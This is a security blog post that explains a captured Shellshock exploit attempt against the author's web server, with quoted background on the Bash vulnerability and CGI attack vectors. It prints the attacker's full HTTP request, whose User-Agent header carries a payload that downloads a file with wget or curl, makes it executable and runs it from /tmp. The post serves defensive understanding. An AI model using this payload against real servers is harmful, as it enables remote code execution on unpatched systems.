How a Shellshock exploit attempt looks like

One of my HTTP servers hosted on an Amazon EC2 receives regularly strange requests like these:



One such request looks like this:

GET /cgi-bin/php5 HTTP/1.1
Accept: /
Accept-Language: en-us
Accept-Encoding: gzip, deflate
User-Agent: () { :;};/usr/bin/perl -e ‘print “Content-Type: text/plainrnrnXSUCCESS!”;system(“cd /tmp;cd /var/tmp;rm -rf .c.txt;rm -rf .d.txt ; wget ; curl -O ; fetch ; lwp-download; chmod +x .c.txt* ; sh .c.txt* “);’
Connection: Close


The IP address in the screen shot is from Austria (

I received similar requests from the Netherlands, France and UK. Unfortunately, I configured the HTTP server to erase old logs, so I can’t say how many access I got and from which locations.

This is a variant of the Shellshock exploit discovered in September last year.

How do you know that this is the Shellshock exploit? By seeing this text:

User-Agent: () { :;};/usr/bin/perl -e


The Shellshock vulnerabilities affect Bash, a program that various Unix-based systems use to execute command lines and command scripts. It is often installed as the system’s default command-line interface. Bash is free software, developed collaboratively and overseen since 1992 on a volunteer basis by Chet Ramey, a professional software architect. Analysis of the source code history of Bash shows the vulnerabilities had existed since version 1.03 of Bash released in September 1989, introduced by Bash’s original author Brian Fox. In Unix-based operating systems, and in other operating systems that Bash supports, each running program has its own list of name/value pairs called environment variables. When one program starts another program, it provides an initial list of environment variables for the new program.[21] Separately from these, Bash also maintains an internal list of functions, which are named scripts that can be executed from within the program. Since Bash operates both as a command interpreter and as a command, it is possible to execute Bash from within itself. When this happens, the original instance can export environment variables and function definitions into the new instance. Function definitions are exported by encoding them within the environment variable list as variables whose values begin with parentheses (“()”) followed by a function definition. The new instance of Bash, upon starting, scans its environment variable list for values in this format and converts them back into internal functions. It performs this conversion by creating a fragment of code from the value and executing it, thereby creating the function “on-the-fly”, but affected versions do not verify that the fragment is a valid function definition. Therefore, given the opportunity to execute Bash with a chosen value in its environment variable list, an attacker can execute arbitrary commands or exploit other bugs that may exist in Bash’s command interpreter. [Source: Wikipedia]

The most interesting parts in this bug which is 26 years old (since 1989, from the Bash version 1.03) are the exploit vectors.You can look in Wikipedia to see all of them, I will mention here just the one that tried to affect me:

CGI-based web server

When a web server uses the Common Gateway Interface (CGI) to handle a document request, it passes various details of the request to a handler program in the environment variable list. For example, the variable HTTP_USER_AGENT has a value that, in normal usage, identifies the program sending the request. If the request handler is a Bash script, or if it executes one for example using the system(3) call, Bash will receive the environment variables passed by the server and will process them as described above. This provides a means for an attacker to trigger the Shellshock vulnerability with a specially crafted server request.[6]Security documentation for the widely used Apache web server states: “CGI scripts can … be extremely dangerous if they are not carefully checked.”[ and other methods of handling web server requests are often used. There are a number of online services which attempt to test the vulnerability against web servers exposed to the Internet.[Source: Wikipedia]


Half a year after the bug was fixed, there are still a lot of attempts that try to exploit this bug. This is, however, not very surprising considering the fact that 1 year after the famous Heartbleed exploit in OpenSSL, only a third of the servers were patched (Source: CNN).


© Copyright 2015 Sorin Mustaca, All rights Reserved. Written For: Sorin Mustaca on Cybersecurity

Check for the IT Consulting services I offer.
Visit for latest security news in English
Besuchen Sie für IT Sicherheits News auf Deutsch

About the Author

Sorin Mustaca
Sorin Mustaca, (ISC)2 CSSLP, CompTIA Security+ and Project+, is working since year 2000 in the IT Security industry and worked between 2003-2014 for Avira as Product Manager for the known products used by over 100 million users world-wide. Today he is an independent IT Security Consultant focusing on Cybersecurity, secure software development and security for IoT and Automotive. He is also running his personal blog Sorin Mustaca on Cybersecurity and is the author of the free eBook Improve your security .

By continuing to use the site, you agree to the use of cookies. more information

The cookie settings on this website are set to "allow cookies" to give you the best browsing experience possible. If you continue to use this website without changing your cookie settings or you click "Accept" below then you are consenting to this.